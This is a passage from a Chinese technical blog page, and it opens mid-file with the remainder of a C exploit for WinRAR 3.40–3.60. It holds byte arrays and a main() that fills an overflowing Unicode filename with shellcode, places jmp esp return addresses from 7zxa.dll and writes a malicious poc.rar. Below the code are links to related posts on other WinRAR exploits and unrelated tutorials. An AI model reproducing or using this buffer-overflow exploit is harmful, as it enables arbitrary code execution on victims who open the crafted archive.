	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x8A, 0x10, 0x00, 0x00, 0x74, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x55, 0x8B, 0xEC, 0x68, 0x50, 0x20, 0x40, 0x00, 0xFF, 0x15, 0x04, 0x10, 0x40, 0x00, 0x83, 0xC4, 
	0x04, 0x68, 0x00, 0x20, 0x40, 0x00, 0xFF, 0x15, 0x04, 0x10, 0x40, 0x00, 0x83, 0xC4, 0x04, 0xFF, 
	0x15, 0x00, 0x10, 0x40, 0x00, 0x33, 0xC0, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 
	0x68, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7E, 0x10, 0x00, 0x00, 
	0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x10, 0x00, 0x00, 0x74, 0x10, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x9E, 0x02, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x66, 0x00, 0x00, 0x4D, 0x53, 
	0x56, 0x43, 0x52, 0x54, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0xF7, 0x00, 0x5F, 0x67, 0x65, 0x74, 
	0x63, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x45, 0x78, 0x70, 0x6C, 0x6F, 0x69, 0x74, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x69, 0x6E, 0x52, 
	0x61, 0x72, 0x20, 0x33, 0x2E, 0x34, 0x30, 0x2D, 0x33, 0x2E, 0x36, 0x30, 0x0A, 0x63, 0x6F, 0x64, 
	0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x74, 0x65, 0x72, 0x6D, 0x69, 0x6E, 0x61, 0x74, 0x6F, 0x72, 
	0x31, 0x39, 0x39, 0x30, 0x20, 0x28, 0x20, 0x74, 0x65, 0x72, 0x6D, 0x69, 0x6E, 0x61, 0x74, 0x6F, 
	0x72, 0x31, 0x39, 0x39, 0x30, 0x40, 0x79, 0x61, 0x2E, 0x72, 0x75, 0x20, 0x29, 0x00, 0x00, 0x00, 
	0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64, 0x21, 0x0A, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};










int main(int argc, char* argv[])
{

DWORD w;
HANDLE h;

int i;
for(i=0;i<=0x7fc;i=i+2)
{
	memset(filename+i,'R',1);       // nop byte - unicode string
	memset(filename+i+1,0x04,1);
}


for(i=0;i<=0x380e;i=i+2)
{
	memset(filename+0x7fc+i,0x5c,1);      
	memset(filename+0x7fc+i+1,0x00,1);
}




memcpy(filename+(812*2),(char*)&shellcode1,sizeof(shellcode1));
memcpy(filename+(2048*2),(char*)&shellcode2,sizeof(shellcode2));



memcpy(filename+(794*2),"/x3B/x04/x08/x00",4); // jump +10 byte // unicode string


// jmp esp -  7zxa.dll
memcpy(filename+(800*2),"/xbb/x00/x01/x00/x02/x00/x10/x00",8);
memcpy(filename+(796*2),"/x5E/x04/x5F/x04/x02/x00/x10/x00",8);
memcpy(filename+(4*2), "/xbb/x00/x01/x00/x02/x00/x10/x00",8);


h=CreateFile("poc.rar",GENERIC_WRITE,0,0,CREATE_NEW,0,0);
WriteFile(h,(char*)&arh_part1,sizeof(arh_part1),&w,0);
WriteFile(h,filename,sizeof(filename),&w,0);
WriteFile(h,(char*)&arh_part2,sizeof(arh_part2),&w,0);
WriteFile(h,"fil!",4,&w,0); // Signature
WriteFile(h,(char*)&x_prog,sizeof(x_prog),&w,0);
CloseHandle(h);


	return 0;
}
 
iiprogram
关注
WinRAR 3.x LHA Buffer Overflow Exploit
Magicbreaker的专栏
03-17 1277
**-----------------------------------------------------------------------* * lzh.c - WinRAR 3.x LHA Buffer Overflow Exploit** Copyright (C) 2006 XSec All Rights Reserved. ** Author   : nop*          :
CVE-2023-40477 WinRAR 远程代码执行漏洞 0Day PoC
【Rainbow Network Technology co., LTD】
09-02 1951
“Game of Rars” – 通过概念验证探索 WinRAR 中新的远程代码执行漏洞
Java递归解压缩Zip、7z、7zx、Rar5（使用winrar.exe）可解压这四种类型的嵌套压缩
Mr_Yang98的博客
05-31 1874
Java递归解压缩Zip、7z、7zx、Rar5（使用winrar.exe）可解压这四种类型的嵌套压缩依赖Zip7zRar说明代码（复制即可用） 依赖 Zip 官方自带，无需额外操作 7z commons-compress-1.20.jar：https://mvnrepository.com/artifact/org.apache.commons/commons-compress/1.20 <!-- https://mvnrepository.com/artifact/org.apache.com
WinRAR
12-16 96
/* WinRAR 3.40 Buffer Overflow POC Thanks to Miguel Tarasco Acuna. He has made a wonderful code for Microsoft W...
Kali linux 2016.2（Rolling）中的Exploits模块详解
weixin_34376562的博客
11-08 7992
简单来讲，这个Exploits模块，就是针对不同的已知漏洞的利用程序。 root@kali:~# msfconsole Unable to handle kernel NULL pointer dereference at virtua...
.tar.Z的压缩及解压缩java实现
sylc123的博客
04-10 1244
import java.io.File; import java.util.Arrays; /* * Used 'Inner Classes' to minimize temptations of JVM exploiting low hanging * fruits. 'Inner classes' are defined in appendix D of the 'Java Pro...
对称加密、非对称加密、DES、AES、RSA、OpenSSL、数字签名、防篡改
06-12 1250
2. 对称加密：DES算法 DES全称为Data Encryption Standard,即数据加密标准，是一种使用密钥加密的。 DES是可以被破解的，可能一本书的某一句话就是密钥。 DES算法的入口参数有三个:Key、Data、Mode。其中Key为7个字节共64位，是DES算法的工作密钥; Data为8个字节64位(加密以8Byte为基本单位)，是要被加密或被解密的数据;Mode为DES的工作方式,有两种：加密或解密 比如加密数据有20Byte，以8Byte为基本单位，后面4个Byte不足8个Byt
关于漏洞的基础知识
captainyuxiaoyu的博客
04-02 4648
整理自老师的笔记及书籍 漏洞的定义 官方定义： 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的下访问或破坏系统。 基本理解： 漏洞是协议在生命周期的各个阶段（设计、实现、运维等过程）中产生的某类问题，这些问题会对系统的安全（机密性、完整性、可用性）产生影响。 BUG与漏洞： 漏洞与Bug并不等同：大部分的Bug影响功能性，并不涉及安全性，也就不构成...
漏洞详解
热门推荐
HHH's Blogs
09-03 1万+
漏洞的定义 官方定义：漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，从而可以使攻击者能够在未授权的下访问或破坏系统。 基本理解：漏洞是协议在生命周期的各个阶段（设计、实现、运维等过程）中产生的某类问题，这些问题会对系统的安全（机密性、完整性、可用性）产生影响。 BUG与漏洞 有人经常理解为BUG就是漏洞，其实它们两者之间还是有很大区别的，漏洞与Bug并不...
Emacs安装包，直接解压就可以用了
05-03
例如，添加`'(global-set-key (kbd "C-c a") 'append-to-buffer)`，即可将Ctrl+C Ctrl+A绑定到`append-to-buffer`函数上。 3. **使用教程**： - 描述中提到，要自己上网查找使用教程。Emacs的学习曲线可能有些陡峭...
mysql 5.0 解压版
05-11
6. **性能优化**：MySQL 5.0中可以通过调整各种系统变量和配置参数来优化性能，例如`innodb_buffer_pool_size`用于控制InnoDB引擎缓存的数据量，`key_buffer_size`则影响MyISAM表的索引缓存。 7. **安全性**：应...
K8s 很难么？带你从头到尾捋一遍，不信你学不会
民工哥的博客
02-23 1万+
点击关注公众号，回复“1024”获取2TB学习资源！为什么要学习 Kubernetes?虽然 Docker 已经很强大了，但是在实际使用上还是有诸多不便，比如集群管理、资源调度、文件管理等...
10天智能锁项目实战第1天（了解单片机STM32F401RET6和C语言基础）
北豼不太皮的博客
02-21 4181
10天智能锁项目实战第1天（了解单片机STM32F401RET6和C语言基础）一、学习目标二、了解单片机STM32F401RET6三、C语言基础 一、学习目标 二、了解单片机STM32F401RET6 4、STM32F401RE特征 三、C语言基础 1.数据类型 常用2的次方： 2^7 = 128 2^8 = 256 2^15 = 32768 2^16= 65536 51单片机常见的数据类型： char: 占内存1字节 取值范围：-128~127 -2^7 ~ 2
Android开发（1） | Fragment 的应用——新闻应用
Jormungand_V的博客
02-21 7533
文章目录 news_item.xml： <TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/news_title" android:layout_width="match_parent" android:layout_height="wrap_content" android:lines="1" android:ellipsize="
系统学习 TypeScript（四）——变量声明的初步学习
编程三昧
02-25 2057
认识了 TypeScript 中的基础类型，接下来当然是变量声明的相关学习了，我在这里记录一下我学习过程中的一些总结。
清除浮动的五种方法
weixin_52212950的博客
02-22 3116
为什么要清除浮动？因为往往浮动后的子元素因为脱离了标准流，不能自动撑起父元素的高度，所以会对后续布局产生影响，对此清除浮动不如理解为清除浮动产生的影响更为合理。 例如：我们设置了两个盒子如图所示，粉色为父盒子，只有宽度没有高度，蓝色盒子有宽有高，粉色盒子的高由蓝盒子的高度撑开。 但是给蓝色的子盒子设置了左浮动后，脱离了标准流，无法再撑开粉盒子，可以看到粉盒子高度变成了0； 清除浮动有五种方法： 直接设置父元素的高度 额外标签法 单伪元素法 双伪元素法 ove.
HTML实现学习网站首页
做技术，坚持才是最重要的，一时的热情只是暂时的进步
02-20 4578
项目访问 reset.css /* http://meyerweb.com/eric/tools/css/reset/ v2.0 | 20110126 License: none (public domain) */ html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del
C语言经典小游戏之----推箱子
嵌入式技术开发
02-25 4794
在进行推箱子的实验中，可以使用对应的API函数来改变对应箱子的颜色，也需要根据，人在移动的过程中，可以通过方向键，并改变对应的颜色，从而实现控制人物的目的。 代码实现如下： #include<stdio.h> #include<stdlib.h> #include<string.h> #include<windows.h> #include<conio.h> int x = 0, y = 0; //存储当前使用的...
关于Dubbo的mock=true降级无法调用降级类ServiceMock的解决方案
weixin_45754452的博客
02-25 1740
问题 消费者使用mock=“true”，想调用TestServiceMock进行服务降级无法调用 原因 我的项目结构如下，首先要知道服务降级代码应该是谁执行的，服务降级是服务消费者也就是controller包处对应的服务执行的，因为我只是测试dubbo怎么使用，所以并没有分多模块，但完全可以把一个包理解为一个模块，再看下面配置文件 为什么可以把一个包当成一个模块呢，因为我把配置文件的scan改成controller包然后启动一个服务器，即消费者，如果把scan改成service则可以启动服务提供者服务器
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值